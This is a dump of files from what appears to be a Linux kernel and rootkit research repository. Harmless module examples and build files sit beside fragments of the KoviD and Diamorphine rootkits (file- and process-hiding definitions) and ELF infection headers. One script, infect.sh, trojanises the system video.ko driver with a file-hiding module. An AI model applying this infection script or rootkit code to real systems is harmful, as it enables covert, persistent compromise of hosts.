elf_destroy_elfo (elf_t *elf); 11 | bool elf_destroy_all (elf_t *elfo); 12 | #endif 13 | -------------------------------------------------------------------------------- /research-rootkit/fsmon/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = fsmon 2 | obj-m := ${TARGET}ko.o 3 | ${TARGET}ko-objs := ${TARGET}.o ../zeroevil/zeroevil.o 4 | 5 | 6 | 7 | 8 | 9 | default: 10 | ${MAKE} modules \ 11 | --directory "/lib/modules/$(shell uname --release)/build" \ 12 | M="$(shell pwd)" 13 | 14 | 15 | clean: 16 | ${MAKE} clean \ 17 | --directory "/lib/modules/$(shell uname --release)/build" \ 18 | M="$(shell pwd)" 19 | 20 | 21 | test: default 22 | sudo dmesg -c && sudo insmod ${TARGET}ko.ko && sudo dmesg -c \ 23 | && touch 12345xxx; cat 12345xxx; rm 12345xxx && sudo dmesg -c && sudo rmmod ${TARGET}ko && sudo dmesg -c 24 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/volundr/elf/print.h: -------------------------------------------------------------------------------- 1 | #ifndef _ELF_PRINT_H 2 | #define _ELF_PRINT_H 3 | 4 | #include 5 | #include 6 | 7 | bool elf_print_header(const elf_t *, FILE *); 8 | bool elf_print_programs(const elf_t *, FILE *); 9 | bool elf_print_sections(const elf_t *, FILE *); 10 | bool elf_print_symtab(const elf_t*, FILE *fout, const elf_shdr_t *, const elf_sym_t **); 11 | //bool elf_print_strtab(FILE *, const elf_t *); 12 | //bool elf_print_dynstr(FILE *, const elf_t *); 13 | //bool elf_print_shstrtab_index(FILE *, const elf_t *, elf_word_t); 14 | //bool elf_print_strtab_index(FILE *, const elf_t*); 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /ptrace-seccomp-demo/arm_seccomp.h: -------------------------------------------------------------------------------- 1 | static void process_signals(pid_t child); 2 | static int wait_for_open(pid_t child); 3 | static void read_file(pid_t child, char *file,user_pt_regs regs); 4 | static void redirect_file(pid_t child, const char *file,user_pt_regs regs); 5 | void putdata(pid_t pid, uint64_t addr, char * str, long sz); 6 | 7 | 8 | #if defined(__aarch64__) 9 | #define ARM_x0 regs[0] 10 | #define ARM_x1 regs[1] 11 | #define ARM_x2 regs[2] 12 | #define ARM_x8 regs[8] 13 | #define ARM_lr regs[30] 14 | #define ARM_sp sp 15 | #define ARM_pc pc 16 | #define ARM_cpsr pstate 17 | #define NT_PRSTATUS 1 18 | #define NT_foo 1 19 | #endif 20 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/volundr/common/common.h: -------------------------------------------------------------------------------- 1 | #ifndef _COMMON_H 2 | #define _COMMON_H 3 | 4 | #include 5 | 6 | #if defined( OPTIMIZE_SIZE ) && defined( OPTIMIZE_SPEED ) 7 | # error "Conflicting pre-processor definition: OPTIMIZE_SIZE, OPTIMIZE_SPEED" 8 | #endif 9 | 10 | typedef enum { 11 | CMM_ERR=-1, 12 | CMM_OK=0, 13 | CMM_ERR_READ, 14 | CMM_ERR_EINVLD, 15 | CMM_ERR_ERRLEN 16 | } common_err_t; 17 | 18 | typedef int word; 19 | typedef unsigned int uword; 20 | 21 | #ifndef _DECLARE_DEFITIONS 22 | #define _CMM_CNDXTRN 23 | #else 24 | #define _CMM_CNDXTRN extern 25 | #endif 26 | 27 | static _CMM_CNDXTRN int32_t 28 | __attribute__((unused)) common_errno; 29 | 30 | #endif 31 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/scripts/rustelf/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "anyhow" 7 | version = "1.0.65" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "98161a4e3e2184da77bb14f02184cdd111e83bbbcc9979dfee3c44b9a85f5602" 10 | 11 | [[package]] 12 | name = "assert-str" 13 | version = "0.1.0" 14 | source = "registry+https://github.com/rust-lang/crates.io-index" 15 | checksum = "6eff46575e86b852295e41df8599e94a910b1136c6af2821df9925f3cf8a1389" 16 | 17 | [[package]] 18 | name = "rustinstall" 19 | version = "0.1.0" 20 | dependencies = [ 21 | "anyhow", 22 | "assert-str", 23 | ] 24 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | 54 | .history 55 | GPATH 56 | GRTAGS 57 | GTAGS 58 | tags 59 | 60 | linux-kernel/test/** -------------------------------------------------------------------------------- /linux-kernel/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += completions.o 2 | obj-m += cryptosk.o 3 | obj-m += example_atomic.o 4 | obj-m += example_mutex.o 5 | obj-m += example_rwlock.o 6 | obj-m += example_spinlock.o 7 | obj-m += example_tasklet.o 8 | obj-m += hello-sysfs.o 9 | obj-m += ioctl.o 10 | obj-m += procfs1.o 11 | obj-m += procfs2.o 12 | obj-m += procfs3.o 13 | obj-m += procfs4.o 14 | obj-m += sched.o 15 | obj-m += sleep.o 16 | 17 | all: 18 | $(MAKE) -C /lib/modules/$(shell uname -r)/build CC=$(CC) M=$(PWD) modules 19 | 20 | clean: 21 | $(MAKE) -C /lib/modules/$(shell uname -r)/build CC=$(CC) M=$(PWD) clean 22 | $(RM) other/cat_noblock *.plist 23 | 24 | 25 | test: default 26 | sudo dmesg -c && sudo insmod ${TARGET}.ko && sudo dmesg -c \ 27 | && ls -al && sudo dmesg -c && sudo rmmod ${TARGET}ko && sudo dmesg -c -------------------------------------------------------------------------------- /linux-kernel/sched.c: -------------------------------------------------------------------------------- 1 | /* 2 | * sched.c 3 | */ 4 | #include 5 | #include 6 | #include 7 | 8 | static struct workqueue_struct *queue = NULL; 9 | static struct work_struct work; 10 | 11 | static void work_handler(struct work_struct *data) 12 | { 13 | pr_info("work handler function.\n"); 14 | } 15 | 16 | static int __init sched_init(void) 17 | { 18 | queue = alloc_workqueue("HELLOWORLD", WQ_UNBOUND, 1); 19 | INIT_WORK(&work, work_handler); 20 | schedule_work(&work); 21 | return 0; 22 | } 23 | 24 | static void __exit sched_exit(void) 25 | { 26 | destroy_workqueue(queue); 27 | } 28 | 29 | module_init(sched_init); 30 | module_exit(sched_exit); 31 | 32 | MODULE_LICENSE("GPL"); 33 | MODULE_DESCRIPTION("Workqueue example"); 34 | -------------------------------------------------------------------------------- /linux-kernel/Diamorphine/diamorphine.h: -------------------------------------------------------------------------------- 1 | struct linux_dirent { 2 | unsigned long d_ino; 3 | unsigned long d_off; 4 | unsigned short d_reclen; 5 | char d_name[1]; 6 | }; 7 | 8 | #define MAGIC_PREFIX "diamorphine_secret" 9 | 10 | #define PF_INVISIBLE 0x10000000 11 | 12 | #define MODULE_NAME "diamorphine" 13 | 14 | enum { 15 | SIGINVIS = 31, 16 | SIGSUPER = 64, 17 | SIGMODINVIS = 63, 18 | }; 19 | 20 | #ifndef IS_ENABLED 21 | #define IS_ENABLED(option) \ 22 | (defined(__enabled_ ## option) || defined(__enabled_ ## option ## _MODULE)) 23 | #endif 24 | 25 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) 26 | #define KPROBE_LOOKUP 1 27 | #include 28 | static struct kprobe kp = { 29 | .symbol_name = "kallsyms_lookup_name" 30 | }; 31 | #endif 32 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/completion.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | _run() 4 | { 5 | local cmds cur ff 6 | if (($COMP_CWORD == 1)) 7 | then 8 | cur="${COMP_WORDS[1]}" 9 | list=($(find examples/example-* ! -name "*.c" ! -name "*~"|cut -d "/" -f2)) 10 | COMPREPLY=($(compgen -W "$(echo ${list[@]})" -- "$cur")) 11 | COMPREPLY=( "${COMPREPLY[@]/%/ }" ) # add trailing space to each 12 | else 13 | # get all matching files and directories 14 | COMPREPLY=($(compgen -f -- "${COMP_WORDS[$COMP_CWORD]}")) 15 | 16 | for ((ff=0; ff<${#COMPREPLY[@]}; ff++)); do 17 | [[ -d ${COMPREPLY[$ff]} ]] && COMPREPLY[$ff]+='/' 18 | [[ -f ${COMPREPLY[$ff]} ]] && COMPREPLY[$ff]+=' ' 19 | done 20 | fi 21 | } 22 | 23 | complete -o bashdefault -o default -o nospace -F _run ./run $@ 24 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/src/vm.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "lkm.h" 5 | 6 | unsigned long kv_get_elf_vm_start(pid_t pid) { 7 | struct vm_area_struct *vma; 8 | struct task_struct *tsk; 9 | 10 | if (pid <= 0) { 11 | prerr("invalid pid %d\n", pid); 12 | return 0L; 13 | } 14 | 15 | tsk = get_pid_task(find_get_pid(pid), PIDTYPE_PID); 16 | if(!tsk) { 17 | prwarn("No such task for pid %d\n", pid); 18 | return 0L; 19 | } 20 | 21 | if(!tsk->mm) { 22 | prwarn("No such task for pid (kthread) %d\n", pid); 23 | return 0L; 24 | } 25 | 26 | vma = tsk->mm->mmap; 27 | if (!vma) { 28 | prerr("invalid vma for pid %d\n", pid); 29 | return 0L; 30 | } 31 | 32 | /** base address */ 33 | return vma->vm_start; 34 | } 35 | -------------------------------------------------------------------------------- /research-rootkit/real/infect.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | 4 | name=video.ko 5 | 6 | 7 | cp /lib/modules/$(uname -r)/kernel/drivers/acpi/${name} . && 8 | readelf -s ${name} | grep -e init_module -e cleanup_module -e acpi_video_init -e acpi_video_exit && 9 | objcopy ${name} g${name} --globalize-symbol acpi_video_init \ 10 | --globalize-symbol acpi_video_exit && 11 | readelf -s g${name} | grep -e init_module -e cleanup_module -e acpi_video_init -e acpi_video_exit && 12 | (cd fshid && make --quiet) && 13 | ld -r g${name} fshid/fshidko.ko -o infected.ko && 14 | readelf -s infected.ko | grep -e init_module -e cleanup_module -e fshid_init -e fshid_exit && 15 | setsym infected.ko init_module $(setsym infected.ko fshid_init) && 16 | setsym infected.ko cleanup_module $(setsym infected.ko fshid_exit) && 17 | readelf -s infected.ko | grep -e init_module -e cleanup_module -e fshid_init -e fshid_exit -------------------------------------------------------------------------------- /linux-kernel/example_mutex.c: -------------------------------------------------------------------------------- 1 | /* 2 | * example_mutex.c 3 | */ 4 | #include 5 | #include 6 | #include 7 | 8 | static DEFINE_MUTEX(mymutex); 9 | 10 | static int __init example_mutex_init(void) 11 | { 12 | int ret; 13 | 14 | pr_info("example_mutex init\n"); 15 | 16 | ret = mutex_trylock(&mymutex); 17 | if (ret != 0) { 18 | pr_info("mutex is locked\n"); 19 | 20 | if (mutex_is_locked(&mymutex) == 0) 21 | pr_info("The mutex failed to lock!\n"); 22 | 23 | mutex_unlock(&mymutex); 24 | pr_info("mutex is unlocked\n"); 25 | } else 26 | pr_info("Failed to lock\n"); 27 | 28 | return 0; 29 | } 30 | 31 | static void __exit example_mutex_exit(void) 32 | { 33 | pr_info("example_mutex exit\n"); 34 | } 35 | 36 | module_init(example_mutex_init); 37 | module_exit(example_mutex_exit); 38 | 39 | MODULE_DESCRIPTION("Mutex example"); 40 | MODULE_LICENSE("GPL"); 41 | -------------------------------------------------------------------------------- /Syscall_intercept_arm64/Syscall_intercept_arm64.h: -------------------------------------------------------------------------------- 1 | void print_register_enter(struct user_pt_regs regs,pid_t pid,char* _NR,uint64_t num); 2 | void print_register_leave(struct user_pt_regs regs,pid_t pid,char* _NR,uint64_t num); 3 | void enterSysCall(pid_t pid); 4 | void leaveSysCall(pid_t pid); 5 | void getdata(pid_t pid, uint64_t addr, char * str, long sz); 6 | void putdata(pid_t pid, uint64_t addr, char * str, long sz); 7 | void get_addr_path(pid_t pid,uint64_t addr,char * path_result); 8 | void print_threads(); 9 | void getNameByPid(pid_t pid, char *task_name); 10 | void get_tids(const pid_t pid); 11 | void print_status(char* tag,pid_t wait_pid,int status); 12 | 13 | // #define DEBUG 14 | 15 | #if defined(__aarch64__) 16 | #define ARM_x0 regs[0] 17 | #define ARM_x1 regs[1] 18 | #define ARM_x2 regs[2] 19 | #define ARM_x8 regs[8] 20 | #define ARM_lr regs[30] 21 | #define ARM_sp sp 22 | #define ARM_pc pc 23 | #define ARM_cpsr pstate 24 | #define NT_PRSTATUS 1 25 | #define NT_foo 1 26 | #endif 27 | 28 | -------------------------------------------------------------------------------- /ptrace_svc_intercept_arm64/Syscall_intercept_arm64.h: -------------------------------------------------------------------------------- 1 | void print_register_enter(struct user_pt_regs regs,pid_t pid,char* _NR,uint64_t num); 2 | void print_register_leave(struct user_pt_regs regs,pid_t pid,char* _NR,uint64_t num); 3 | void enterSysCall(pid_t pid); 4 | void leaveSysCall(pid_t pid); 5 | void getdata(pid_t pid, uint64_t addr, char * str, long sz); 6 | void putdata(pid_t pid, uint64_t addr, char * str, long sz); 7 | void get_addr_path(pid_t pid,uint64_t addr,char * path_result); 8 | void print_threads(); 9 | void getNameByPid(pid_t pid, char *task_name); 10 | void get_tids(const pid_t pid); 11 | void print_status(char* tag,pid_t wait_pid,int status); 12 | 13 | // #define DEBUG 14 | 15 | #if defined(__aarch64__) 16 | #define ARM_x0 regs[0] 17 | #define ARM_x1 regs[1] 18 | #define ARM_x2 regs[2] 19 | #define ARM_x8 regs[8] 20 | #define ARM_lr regs[30] 21 | #define ARM_sp sp 22 | #define ARM_pc pc 23 | #define ARM_cpsr pstate 24 | #define NT_PRSTATUS 1 25 | #define NT_foo 1 26 | #endif 27 | 28 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Desktop (please complete the following information):** 27 | - OS: [e.g. iOS] 28 | - Browser [e.g. chrome, safari] 29 | - Version [e.g. 22] 30 | 31 | **Smartphone (please complete the following information):** 32 | - Device: [e.g. iPhone6] 33 | - OS: [e.g. iOS8.1] 34 | - Browser [e.g. stock browser, safari] 35 | - Version [e.g. 22] 36 | 37 | **Additional context** 38 | Add any other context about the problem here. 39 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/volundr/elf/infect.h: -------------------------------------------------------------------------------- 1 | #ifndef _INFECT_H 2 | #define _INFECT_H 3 | 4 | typedef struct infect { 5 | elf_t *elfo; 6 | long *magic_ptr; 7 | /** Simple .text padding infection */ 8 | struct { 9 | elf_addr_t lsb_exec_addr; /**< parasite load addr if LSD exec */ 10 | elf_off_t lsb_so_addr; /**< parasite load addr if .so */ 11 | elf_off_t target_offset; /**< location to inject parasite */ 12 | elf_off_t o_entry; /**< Original entry point must be saved before infecting */ 13 | } lsb; 14 | off_t trojan_size; /**< trojan size in disk */ 15 | void *trojan; /**< ELF infection; heap allocated via fread() @see utils.c */ 16 | } infect_t; 17 | 18 | infect_t *inf_load(elf_t *, open_mode_t, long, struct mapped_file *); 19 | elf_off_t inf_scan_segment(infect_t *); 20 | bool inf_load_and_patch(infect_t *); 21 | bool inf_note_patch(infect_t *inf, elf_xword_t); 22 | elf_xword_t inf_note_has_room_for_payload(infect_t *inf); 23 | #endif 24 | -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Soumyani1 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Carlos Carvalho 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/src/util.c: -------------------------------------------------------------------------------- 1 | /** 2 | * Linux Kernel version <= 5.8.0 3 | * - hash 4 | * 5 | * KoviD rootkit 6 | */ 7 | #include 8 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(4,11,0) 9 | #include 10 | #else 11 | #include 12 | #endif 13 | #include 14 | #include 15 | #include 16 | #include "lkm.h" 17 | 18 | /** 19 | * This function allocates dynamic memory 20 | * and must be freed when no longer needed 21 | */ 22 | char *kv_util_random_AZ_string(size_t size) { 23 | int i = 0; 24 | char *buf = NULL; 25 | if(!size) { 26 | prerr("Wrong size parameter!!\n"); 27 | return NULL; 28 | } 29 | 30 | buf = kmalloc(size+1, GFP_KERNEL); 31 | if(!buf) { 32 | prerr("Could not allocate memory!\n"); 33 | return NULL; 34 | } 35 | 36 | get_random_bytes(buf, size); 37 | for(i = 0; i < size; ++i) { 38 | int byte = (int)buf[i]; 39 | if (byte < 0) 40 | byte = ~byte; 41 | /* ascii A-Z */ 42 | buf[i] = byte % (90 - (65 + 1)) + 65; 43 | } 44 | buf[i] = 0; 45 | return buf; 46 | } 47 | 48 | -------------------------------------------------------------------------------- /research-rootkit/zeroevil/structs.h: -------------------------------------------------------------------------------- 1 | // Copyright 2016 Gu Zhengxiong 2 | // 3 | // This file is part of LibZeroEvil. 4 | // 5 | // LibZeroEvil is free software: 6 | // you can redistribute it and/or modify it 7 | // under the terms of the GNU General Public License 8 | // as published by the Free Software Foundation, 9 | // either version 3 of the License, 10 | // or (at your option) any later version. 11 | // 12 | // LibZeroEvil is distributed in the hope that it will be useful, 13 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | // GNU General Public License for more details. 16 | // 17 | // You should have received a copy of the GNU General Public License 18 | // along with LibZeroEvil. 19 | // If not, see . 20 | 21 | 22 | # ifndef _GU_ZHENGXIONG_STRUCTS_H 23 | # define _GU_ZHENGXIONG_STRUCTS_H 24 | 25 | 26 | // INFO: Copied from ``fs/readdir.h``. 27 | struct linux_dirent { 28 | unsigned long d_ino; 29 | unsigned long d_off; 30 | unsigned short d_reclen; 31 | char d_name[1]; 32 | }; 33 | 34 | 35 | # endif // structs.h 36 | -------------------------------------------------------------------------------- /linux-kernel/example_tasklet.c: -------------------------------------------------------------------------------- 1 | /* 2 | * example_tasklet.c 3 | */ 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | /* Macro DECLARE_TASKLET_OLD exists for compatibility. 10 | * See https://lwn.net/Articles/830964/ 11 | */ 12 | #ifndef DECLARE_TASKLET_OLD 13 | #define DECLARE_TASKLET_OLD(arg1, arg2) DECLARE_TASKLET(arg1, arg2, 0L) 14 | #endif 15 | 16 | static void tasklet_fn(unsigned long data) 17 | { 18 | pr_info("Example tasklet starts\n"); 19 | mdelay(5000); 20 | pr_info("Example tasklet ends\n"); 21 | } 22 | 23 | static DECLARE_TASKLET_OLD(mytask, tasklet_fn); 24 | 25 | static int __init example_tasklet_init(void) 26 | { 27 | pr_info("tasklet example init\n"); 28 | tasklet_schedule(&mytask); 29 | mdelay(2000); 30 | pr_info("Example tasklet init continues...\n"); 31 | return 0; 32 | } 33 | 34 | static void __exit example_tasklet_exit(void) 35 | { 36 | pr_info("tasklet example exit\n"); 37 | tasklet_kill(&mytask); 38 | } 39 | 40 | module_init(example_tasklet_init); 41 | module_exit(example_tasklet_exit); 42 | 43 | MODULE_DESCRIPTION("Tasklet example"); 44 | MODULE_LICENSE("GPL"); 45 | -------------------------------------------------------------------------------- /linux-kernel/example_rwlock.c: -------------------------------------------------------------------------------- 1 | /* 2 | * example_rwlock.c 3 | */ 4 | #include 5 | #include 6 | #include 7 | 8 | static DEFINE_RWLOCK(myrwlock); 9 | 10 | static void example_read_lock(void) 11 | { 12 | unsigned long flags; 13 | 14 | read_lock_irqsave(&myrwlock, flags); 15 | pr_info("Read Locked\n"); 16 | 17 | /* Read from something */ 18 | 19 | read_unlock_irqrestore(&myrwlock, flags); 20 | pr_info("Read Unlocked\n"); 21 | } 22 | 23 | static void example_write_lock(void) 24 | { 25 | unsigned long flags; 26 | 27 | write_lock_irqsave(&myrwlock, flags); 28 | pr_info("Write Locked\n"); 29 | 30 | /* Write to something */ 31 | 32 | write_unlock_irqrestore(&myrwlock, flags); 33 | pr_info("Write Unlocked\n"); 34 | } 35 | 36 | static int __init example_rwlock_init(void) 37 | { 38 | pr_info("example_rwlock started\n"); 39 | 40 | example_read_lock(); 41 | example_write_lock(); 42 | 43 | return 0; 44 | } 45 | 46 | static void __exit example_rwlock_exit(void) 47 | { 48 | pr_info("example_rwlock exit\n"); 49 | } 50 | 51 | module_init(example_rwlock_init); 52 | module_exit(example_rwlock_exit); 53 | 54 | MODULE_DESCRIPTION("Read/Write locks example"); 55 | MODULE_LICENSE("GPL"); 56 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/volundr/common/map.h: -------------------------------------------------------------------------------- 1 | #ifndef MAP_H 2 | #define MAP_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define PAGE_SIZE sysconf(_SC_PAGE_SIZE) 12 | #define PALIGN(x) (x & ~(PAGE_SIZE - 1)) 13 | #define PALIGN_UP(x) (PALIGN(x) + PAGE_SIZE) 14 | /** 15 | * @file map.h 16 | * @brief provides mechanisms to create an ELF image on memory (definition module). 17 | */ 18 | 19 | /** Copies a file from given file descritor to memory 20 | * from start address (usually (void*)0) to size 21 | */ 22 | bool map_filemap (void* start, size_t size, int fd, void **, open_mode_t); 23 | 24 | /** Copies src of size n to memory mapped segment */ 25 | bool map_write (void* mapaddr, const void* src, size_t n, void **); 26 | 27 | /** Changes mapping protection from given mapping 28 | * address os size len 29 | */ 30 | int32_t map_mprotect (void* mapaddr, size_t len, int32_t prot); 31 | 32 | /** Synchronizes memory mapped region with its file on disk */ 33 | int32_t map_sync (void* mapaddr, off_t size); 34 | 35 | /** Unmaps memory segment from given address to given size */ 36 | int32_t map_fileunmap (void* mapaddr, off_t size); 37 | 38 | bool map_filesync(void* start, size_t size); 39 | #endif 40 | -------------------------------------------------------------------------------- /research-rootkit/codeinj/codeinj.c: -------------------------------------------------------------------------------- 1 | // Copyright 2016 Gu Zhengxiong 2 | // 3 | // This file is part of LibZeroEvil. 4 | // 5 | // LibZeroEvil is free software: 6 | // you can redistribute it and/or modify it 7 | // under the terms of the GNU General Public License 8 | // as published by the Free Software Foundation, 9 | // either version 3 of the License, 10 | // or (at your option) any later version. 11 | // 12 | // LibZeroEvil is distributed in the hope that it will be useful, 13 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | // GNU General Public License for more details. 16 | // 17 | // You should have received a copy of the GNU General Public License 18 | // along with LibZeroEvil. 19 | // If not, see . 20 | 21 | 22 | # ifndef CPP 23 | # include 24 | # include 25 | # endif // CPP 26 | 27 | # include "../zeroevil/zeroevil.h" 28 | 29 | 30 | MODULE_LICENSE("GPL"); 31 | 32 | 33 | int 34 | codeinj_init(void) 35 | { 36 | fm_alert("codeinj: %s\n", "Greetings the World!"); 37 | 38 | return 0; 39 | } 40 | 41 | 42 | void 43 | codeinj_exit(void) 44 | { 45 | fm_alert("codeinj: %s\n", "Farewell the World!"); 46 | 47 | return; 48 | } 49 | 50 | 51 | module_init(codeinj_init); 52 | module_exit(codeinj_exit); 53 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/.github/workflows/codeql.yml: -------------------------------------------------------------------------------- 1 | name: "CodeQL" 2 | 3 | on: 4 | push: 5 | branches: [ "master" ] 6 | pull_request: 7 | branches: [ "master" ] 8 | schedule: 9 | - cron: "38 3 * * 3" 10 | 11 | jobs: 12 | analyze: 13 | name: Analyze 14 | runs-on: ubuntu-latest 15 | permissions: 16 | actions: read 17 | contents: read 18 | security-events: write 19 | 20 | strategy: 21 | fail-fast: false 22 | matrix: 23 | language: [ cpp ] 24 | 25 | steps: 26 | - name: Checkout 27 | uses: actions/checkout@v3 28 | with: 29 | submodules: recursive 30 | 31 | - name: Install Packages 32 | run: | 33 | sudo apt-get update 34 | sudo apt-get install --yes build-essential linux-headers-generic linux-kernel-headers 35 | 36 | - name: After Prepare 37 | run: export GNU_MAKE=make && echo "GNU_MAKE=$GNU_MAKE" >> $GITHUB_ENV 38 | 39 | - name: Initialize CodeQL 40 | uses: github/codeql-action/init@v2 41 | with: 42 | languages: ${{ matrix.language }} 43 | queries: +security-and-quality 44 | 45 | - name: Build cpp 46 | run: $GNU_MAKE lgtm 47 | 48 | - name: Perform CodeQL Analysis 49 | uses: github/codeql-action/analyze@v2 50 | with: 51 | category: "/language:${{ matrix.language }}" 52 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/src/fs.h: -------------------------------------------------------------------------------- 1 | /** 2 | * Linux Kernel version <= 5.5.0 3 | * - hash 4 | * 5 | * ɯnɹpǝɹ rootkit 6 | */ 7 | 8 | #ifndef __FS_H 9 | #define __FS_H 10 | 11 | struct fs_file_node 12 | { 13 | unsigned long long ino; 14 | const char *filename; 15 | }; 16 | 17 | int fs_file_stat(const char *name, struct kstat *stat); 18 | /** 19 | * Return hidden filename and inode number. 20 | * This function allocates data that must 21 | * be freed when no longer needed. 22 | */ 23 | struct fs_file_node *fs_get_file_node(const struct task_struct *task); 24 | 25 | bool fs_search_name(const char *name); 26 | void fs_list_names(void); 27 | int fs_add_name_ro(const char **); 28 | int fs_add_name_rw(const char **); 29 | bool fs_del_name(const char **); 30 | void fs_names_cleanup(void); 31 | struct fs_file_node *fs_load_fnode(struct file *f); 32 | 33 | 34 | struct file *fs_kernel_open_file(const char *name); 35 | 36 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(4,14,0) 37 | ssize_t 